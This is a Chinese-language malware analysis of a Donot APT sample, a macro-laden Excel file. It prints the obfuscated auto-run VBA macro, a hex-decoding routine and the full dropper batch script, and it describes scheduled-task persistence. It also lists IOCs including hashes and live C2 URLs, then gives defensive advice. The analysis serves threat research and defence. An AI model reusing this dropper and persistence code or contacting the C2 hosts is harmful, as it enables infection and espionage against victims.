记一次 Donot 样本分析
字数 1904 2025-08-06 18:07:56

Donot APT组织样本分析教学文档

一、样本概述

这是一个带有恶意宏的Excel文档(.xls),属于Donot APT组织的攻击样本。主要行为是通过恶意宏代码释放并执行后续恶意组件,最终建立持久化机制并连接C2服务器。

二、样本IOC

文件名 MD5哈希值
xls 93befa3da4e0d10ee61f0b78c18d4cd
Comd.zip bc70155ae15384745ed54c75e64a742c
pbs.txt/pbs.bat 09c4c9515e23983c547900f8485b42aa
_.vbs 60b24b37aa7903b56417dd58bbebe79d
comd.pdf/comd.exe 06e0d216969caa0dfd98269a860b153b

三、恶意宏分析

1. Workbook_Open函数

Sub Workbook_Open()
    Dim bJeKNBThzjfhMnMDvxNzGbRTHYhCxnrjdAuxamFvwRqXjC As String
    Dim KQNjfUBrNzrnrChNhSSVJKEWTnyZqAfCeBAnGpbaUewuyv As String
    
    bJeKNBThzjfhMnMDvxNzGbRTHYhCxnrjdAuxamFvwRqXjC = "C:\Users\" + "Publi" + "c\Musi" + "c\co" + "md.zip"
    KQNjfUBrNzrnrChNhSSVJKEWTnyZqAfCeBAnGpbaUewuyv = Dir(bJeKNBThzjfhMnMDvxNzGbRTHYhCxnrjdAuxamFvwRqXjC, vbDirectory)
    
    If KQNjfUBrNzrnrChNhSSVJKEWTnyZqAfCeBAnGpbaUewuyv = "" Then
        Call gkhaL6Ujf7T8TwThtCGkfindUi
    Else
        MsgBox "Excel cannot complete this task with availiable resources.Choose less data or close other applications."
    End If
End Sub

功能

  • 检查C:\Users\Public\Music\comd.zip是否存在
  • 如果不存在则调用gkhaL6Ujf7T8TwThtCGkfindUi函数
  • 存在则显示迷惑性错误信息

2. gkhaL6Ujf7T8TwThtCGkfindUi函数

功能

  • 将zip文件的字节码以十进制形式拆分存储在多个变量中
  • 使用**作为分隔符连接所有字节码
  • 将字节码写入C:\Users\Public\Music\comd.zip文件

技术特点

  • 使用字符串拼接技术规避静态检测
  • 采用分块存储恶意代码的方式

3. file函数

Sub file()
    Set fso = CreateObject("Scripting.FileSystemObject")
    If Not fso.FolderExists(TringTring("433a5c55736572735c5075626c69635c4d757369635c")) Then
        fso.CreateFolder(TringTring("433a5c55736572735c5075626c69635c4d757369635c"))
    End If
    
    Set request = fso.CreateTextFile(TringTring("433a5c55736572735c5075626c69635c4d757369635c7062732e747874"))
    request.WriteLine(TringTring("404543484f206f6666"))
    '...写入多行内容...
    request.Close
    
    Set fso = Nothing
    Set request = Nothing
    
    Name (TringTring("433a5c55736572735c5075626c69635c4d757369635c7062732e747874")) As _
    (TringTring("433a5c55736572735c5075626c69635c4d757369635c7062732e626174"))
    
    Call GHJFGHJGakh
End Sub

功能

  1. 创建C:\Users\Public\Music\目录
  2. 创建pbs.txt并写入内容
  3. 重命名为pbs.bat
  4. 调用GHJFGHJGakh函数

4. TringTring函数

Public Function TringTring(ByVal HexToStr As String) As String
    Dim strTemp As String
    Dim strReturn As String
    Dim i As Long
    
    For i = 1 To Len(HexToStr) Step 2
        strTemp = Chr$(Val("&H" & Mid$(HexToStr, i, 2)))
        strReturn = strReturn & strTemp
    Next i
    
    TringTring = strReturn
End Function

功能:将16进制字符串转换为ASCII字符(每两个16进制字符转换为一个ASCII字符)

5. 持久化函数

GHJFGHJGakh函数

  • 创建计划任务"My_Drive"
  • 系统启动60秒后执行C:\Users\Public\Music\comd.exe
  • 无限期每隔7分钟重复执行

zxcvbnmlkjhgfdsaqweryu函数

  • 创建计划任务"Tls_SSL"
  • 系统启动55秒后执行C:\Users\Public\Music\pbs.bat
  • 无限期每隔4分钟重复执行

zxcvbnmgfdsaqweryu函数

  • 创建计划任务"Pls_SSL"
  • 系统启动55秒后执行C:\Users\Public\Pictures\pbs.bat
  • 无限期每隔10分钟重复执行

四、pbs.bat分析

@ECHO off
setlocal
CD /d %~dp0
CALL :UnZipFile "C:\Users\Public\Music" "C:\Users\Public\Music\comd.zip"
EXIT /b

:UnZipFile
SET vbs="%temp%\_.vbs"
IF EXIST %vbs% DEL /f /q %vbs%
>%vbs% ECHO Set fso = CreateObject("Scripting.FileSystemObject")
>>%vbs% ECHO If NOT fso.FolderExists(%1) Then
>>%vbs% ECHO fso.CreateFolder(%1)
>>%vbs% ECHO End If
>>%vbs% ECHO set objShell = CreateObject("Shell.Application")
>>%vbs% ECHO set FilesInZip=objShell.NameSpace(%2).items
>>%vbs% ECHO objShell.NameSpace(%1).CopyHere(FilesInZip)
>>%vbs% ECHO Set fso = Nothing
>>%vbs% ECHO Set objShell = Nothing
cscript //nologo %vbs%
IF EXIST %vbs% DEL /f /q %vbs%
del /f C:\Users\Public\Music\comd.zip
ren C:\Users\Public\Music\comd.pdf comd.exe
schtasks /delete /tn Tls_SSL /f
exit

功能

  1. 创建VBS脚本解压comd.zip
  2. 删除临时文件_.vbscomd.zip
  3. comd.pdf重命名为comd.exe
  4. 删除计划任务"Tls_SSL"

五、comd.exe分析

主要功能

  1. 互斥量检查

    • 创建名为"niiopokjdfk"的事件对象
    • 检查ERROR_ALREADY_EXISTS(0xB7)判断是否已有实例运行
  2. 文件落地

    • 选择C:\Users\Public\Pictures\pbsC:\Users\Public\Pictures\pbs.bat作为落地文件
  3. C2连接

    • 尝试连接以下C2地址:
      • https://blogs.libraryutilitis.live:443/vrhkdkjrajksrjkaskdoneS/rbjhrkjahsrjejka
      • https://blogs.libraryutilitis.live/nrasjkhrsjkdrhkdfjkB/klrjajlrjklrkljaklrjklasklf
  4. 字符串加密

    • 使用简单的ASCII码减2的加密方式

六、防御建议

  1. 宏安全

    • 禁用Office文档中的宏执行
    • 对可疑文档启用沙箱分析
  2. 行为监控

    • 监控C:\Users\Public\MusicC:\Users\Public\Pictures目录的异常文件创建
    • 警惕计划任务的异常创建
  3. 网络防护

    • 拦截已知Donot APT的C2域名
    • 监控异常HTTPS连接
  4. IOC检测

    • 使用提供的MD5哈希值进行文件检测
    • 监控计划任务名"My_Drive"、"Tls_SSL"、"Pls_SSL"
  5. 日志分析

    • 检查Excel进程创建可疑子进程的事件
    • 监控VBScript和批处理文件的异常执行
Donot APT组织样本分析教学文档 一、样本概述 这是一个带有恶意宏的Excel文档(.xls),属于Donot APT组织的攻击样本。主要行为是通过恶意宏代码释放并执行后续恶意组件,最终建立持久化机制并连接C2服务器。 二、样本IOC | 文件名 | MD5哈希值 | |--------|-----------| | xls | 93befa3da4e0d10ee61f0b78c18d4cd | | Comd.zip | bc70155ae15384745ed54c75e64a742c | | pbs.txt/pbs.bat | 09c4c9515e23983c547900f8485b42aa | | _ .vbs | 60b24b37aa7903b56417dd58bbebe79d | | comd.pdf/comd.exe | 06e0d216969caa0dfd98269a860b153b | 三、恶意宏分析 1. Workbook_ Open函数 功能 : 检查 C:\Users\Public\Music\comd.zip 是否存在 如果不存在则调用 gkhaL6Ujf7T8TwThtCGkfindUi 函数 存在则显示迷惑性错误信息 2. gkhaL6Ujf7T8TwThtCGkfindUi函数 功能 : 将zip文件的字节码以十进制形式拆分存储在多个变量中 使用 ** 作为分隔符连接所有字节码 将字节码写入 C:\Users\Public\Music\comd.zip 文件 技术特点 : 使用字符串拼接技术规避静态检测 采用分块存储恶意代码的方式 3. file函数 功能 : 创建 C:\Users\Public\Music\ 目录 创建 pbs.txt 并写入内容 重命名为 pbs.bat 调用 GHJFGHJGakh 函数 4. TringTring函数 功能 :将16进制字符串转换为ASCII字符(每两个16进制字符转换为一个ASCII字符) 5. 持久化函数 GHJFGHJGakh函数 : 创建计划任务"My_ Drive" 系统启动60秒后执行 C:\Users\Public\Music\comd.exe 无限期每隔7分钟重复执行 zxcvbnmlkjhgfdsaqweryu函数 : 创建计划任务"Tls_ SSL" 系统启动55秒后执行 C:\Users\Public\Music\pbs.bat 无限期每隔4分钟重复执行 zxcvbnmgfdsaqweryu函数 : 创建计划任务"Pls_ SSL" 系统启动55秒后执行 C:\Users\Public\Pictures\pbs.bat 无限期每隔10分钟重复执行 四、pbs.bat分析 功能 : 创建VBS脚本解压 comd.zip 删除临时文件 _.vbs 和 comd.zip 将 comd.pdf 重命名为 comd.exe 删除计划任务"Tls_ SSL" 五、comd.exe分析 主要功能 互斥量检查 : 创建名为"niiopokjdfk"的事件对象 检查ERROR_ ALREADY_ EXISTS(0xB7)判断是否已有实例运行 文件落地 : 选择 C:\Users\Public\Pictures\pbs 或 C:\Users\Public\Pictures\pbs.bat 作为落地文件 C2连接 : 尝试连接以下C2地址: https://blogs.libraryutilitis.live:443/vrhkdkjrajksrjkaskdoneS/rbjhrkjahsrjejka https://blogs.libraryutilitis.live/nrasjkhrsjkdrhkdfjkB/klrjajlrjklrkljaklrjklasklf 字符串加密 : 使用简单的ASCII码减2的加密方式 六、防御建议 宏安全 : 禁用Office文档中的宏执行 对可疑文档启用沙箱分析 行为监控 : 监控 C:\Users\Public\Music 和 C:\Users\Public\Pictures 目录的异常文件创建 警惕计划任务的异常创建 网络防护 : 拦截已知Donot APT的C2域名 监控异常HTTPS连接 IOC检测 : 使用提供的MD5哈希值进行文件检测 监控计划任务名"My_ Drive"、"Tls_ SSL"、"Pls_ SSL" 日志分析 : 检查Excel进程创建可疑子进程的事件 监控VBScript和批处理文件的异常执行